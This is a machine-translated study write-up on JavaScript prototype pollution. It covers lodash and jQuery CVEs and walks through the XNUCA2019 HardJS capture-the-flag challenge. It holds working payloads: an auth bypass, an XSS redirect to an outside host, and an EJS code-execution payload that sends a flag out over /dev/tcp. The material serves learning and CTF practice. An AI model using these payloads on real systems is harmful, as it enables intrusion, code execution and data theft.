Getting started with node.js: http://nodejs.cn/learn/how-much-javascript-do-you-need-to-know-to-use-nodejs
According to the JavaScript part to be mastered in the above instructions, watch the rookie tutorial directly.
Objects and the prototype chain
Everything in JavaScript is an object: strings, numbers, arrays, functions. An object is just a special kind of data. Objects have properties and methods.
You can create an object like this
var person = {
firstName:"John", lastName:"Doe", age:50, eyeColor:"blue"};
A JavaScript object is a name:value collection. The properties of the object are expressed in the form of key values.
Object properties can be accessed in two ways
person.lastName;
person["lastName"];
The second method is similar to the dictionary in python or the associative array of php, so the operation that can control the "key name" of the array (object) can set the attribute value of the object, which is also one of the causes of the vulnerability.
A class is an abstraction of an object, and an object is an instance of a class. In JavaScript, the concept of a class is implemented in the form of defining a constructor.
function Person(first, last) {
this.firstName = first;
this.lastName = last; }
Of course, it also supports Java's class form definition (essentially a syntactic sugar).
The class contains a special method constructor()
, which is the constructor of the class. This method is used to create and initialize an object created by the class.
Objects in JavaScript inherit properties and methods from prototype(原型对象)
properties . The __proto__
property of the object, pointing to the prototype object of the class prototype
.
All objects in JavaScript are instances of Object at the top of the prototype chain.
JavaScript objects have a chain that points to a prototype object. When trying to access a property of an object, it searches not only on the object, but also on the prototype of the object, and the prototype of the object's prototype, and so on, until it finds a property with a matching name or reaches the prototype end of the chain.
Then when the prototype has this property, as long as its subclass instance does not define the property with the same name, it will inherit this property directly, just like the surname.
The prototype chain pollution is to modify the prototype of an object, thereby affecting all objects of the same class, subclass and parent class. It is equivalent to traveling back and changing the name of the ancestor of this surname.
To modify the properties of the prototype, that is, to control the operation of array key-value pairs, there are common merge and clone (merge the object to be operated into an empty object).
Will be __proto__
written as key, attempt to pollute fails. In the process of object creation, it __proto__
has been parsed into its prototype, and the key names obtained when the merge function traverses are only a, b.
The JSON format is syntactically identical to the code for creating a JavaScript object, and when converted to a JavaScript object, __proto__
it is considered a key name instead of being parsed directly into a prototype, thus preserving the key-value pair.
Lodash module prototype chain pollution
lodash.merge method
Through __proto__
pollution, just like the Liezi above. The if judgment here can be bypassed, and finally enter the assignment operation of object [key] = value.
var lodash= require('lodash');
var payload = '{"__proto__":{"whoami":"Vulnerable"}}';
var a = {
};
console.log("Before whoami: " + a.whoami);
lodash.merge({
}, JSON.parse(payload));
console.log("After whoami: " + a.whoami);
lodash.defaultsDeep method
(CVE-2019-10744) The defaultsDeep function in the Lodash library may be tricked by the payload containing the constructor to add or modify Object.prototype
a.constructor returns a reference to the Object constructor that created the instance object, which I feel is equivalent to the prototype class of this object , and then modify its prototype property
const mergeFn = require('lodash').defaultsDeep;
const payload = '{"constructor": {"prototype": {"whoami": "Vulnerable"}}}'
function check() {
mergeFn({
}, JSON.parse(payload));
if (({
})[`a0`] === true) {
console.log(`Vulnerable to Prototype Pollution via ${
payload}`);
}
}
check();
payload:{“type”:“test”,“content”:{“prototype”:{“constructor”:{“a”:“b”}}}}
jQuery CVE-2019-11358 Prototype Pollution Vulnerability
jQuery CVE-2019-11358 Prototype Pollution Vulnerability Analysis and Repair Recommendations When the
version is less than 3.4.0
$.extend(true,{
},JSON.parse('{"__proto__":{"aa":"hello"}}'))
Jquery can use $.extend to merge two dictionaries
Title list [XNUCA2019Qualifier]HardJS
Keywords: nodejs lodash prototype chain pollution
The server is nodejs, and uses the express framework, and the template rendering engine uses ejs.
sudo curl -fsSL https://deb.nodesource.com/setup_17.x |sudo bash -
apt-get install -y nodejs
npm install && npm audit
It can be seen that the dependency lodash has a prototype chain pollution vulnerability, namely CVE-2019-10744.
It can be seen from robots.py that the password of admin is flag.
1. Back-end prototype chain pollution vulnerability
The /get route in server.js is visible. When the number of messages is greater than 5, lodash.defaultsDeep will be called to merge the messages.
The express framework supports parsing the request body according to Content-Type, then send the payload 6 times and then access /get to trigger the prototype chain pollution.
The expected solution is to bypass the login verification and log in to the admin and override the login and userid attributes.
At this point, you can fake the login status
{
"type":"test","content":{
"constructor":{
"prototype":{
"login":true,"userid":1}}}}
Except for /static, /login and /register, other routes require auth function for authentication when accessing.
In robot.py, the robot will open the home page/ of the local page, and the 302 jump of auth can be skipped through the above prototype chain pollution, and then the robot will fill in the username and password according to the name of the form and submit it.
Then you need to type an xss on the front end
2. Front-end prototype chain pollution vulnerability
In app.js, the $.extent function is called to merge the data when the front-end obtains the background data.
When using js to generate a template, the hints object is traversed and the attribute key-value pair of the hints object is written into the corresponding li tag.
In index.ejs, the li tag containing the type attribute has a logger in addition to the five written above
By polluting the logger property of the prototype, the content of the logger can be overwritten, resulting in XSS
{
"type":"test","content":{
"__proto__": {
"logger": "<script>window.location='http://wonderkun.cc/hack.html'</script>"}}}
Just make a html form to simulate login on vps
rce using ejs
In addition to using front-end and back-end combined attacks as above, you can also use only back-end vulnerabilities to exploit ejs for rce.
Here ejs is used to render the template, then res.render('index');
start analysis and
view the function definition/node_modules/express/lib/response.js
The function definition that follows this call /node_modules/express/lib/application.js
follow up
Called engine, view the declaration of the default engine exit
Follow up on this __express statement
Check out this renderFile implementation
Finally, the tryHandleCache function is called
Return to the final page after being processed by the handleCache function
handleCache returns a function
Follow up with compile to see various code splicing
followed by a dynamic function generation
This object is concatenated into this.source along with other generated template strings, then passed to src, followed by fn, then returned as returnedFn and finally executed
global.process
RCE bounce shell with
{
"type":"test","content":{
"constructor":{
"prototype":
{
"outputFunctionName":"a=1;process.mainModule.require('child_process').exec('b
ash -c \"echo $FLAG>/dev/tcp/xxxxx/xx\"')//"}}}}
Or echo the flag directly to the page
{
"type":"111","content":{
"constructor":{
"prototype":{
"outputFunctionName":"__append; return process.env.FLAG; __append"}}}}
reference:
https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html
https://github.com/NeSE-Team/OurChallenges/tree/master/XNUCA2019Qualifier/Web/hardjs
https://blog.szfszf.top/tech/javascript-%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93-%E5%88%86%E6%9E%90/
https://www.wangan.com/p/7fygf7fa6b978b66#lodash.defaultsDeep%E6%96%B9%E6%B3%95%E9%80%A0%E6%88%90%E7%9A%84%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93%EF%BC%88CVE-2019-10744%EF%BC%89
https://www.anquanke.com/post/id/185377#h3-1
http://j0k3r.top/2019/09/10/js_prototype_pollution/#0x02-Hardjs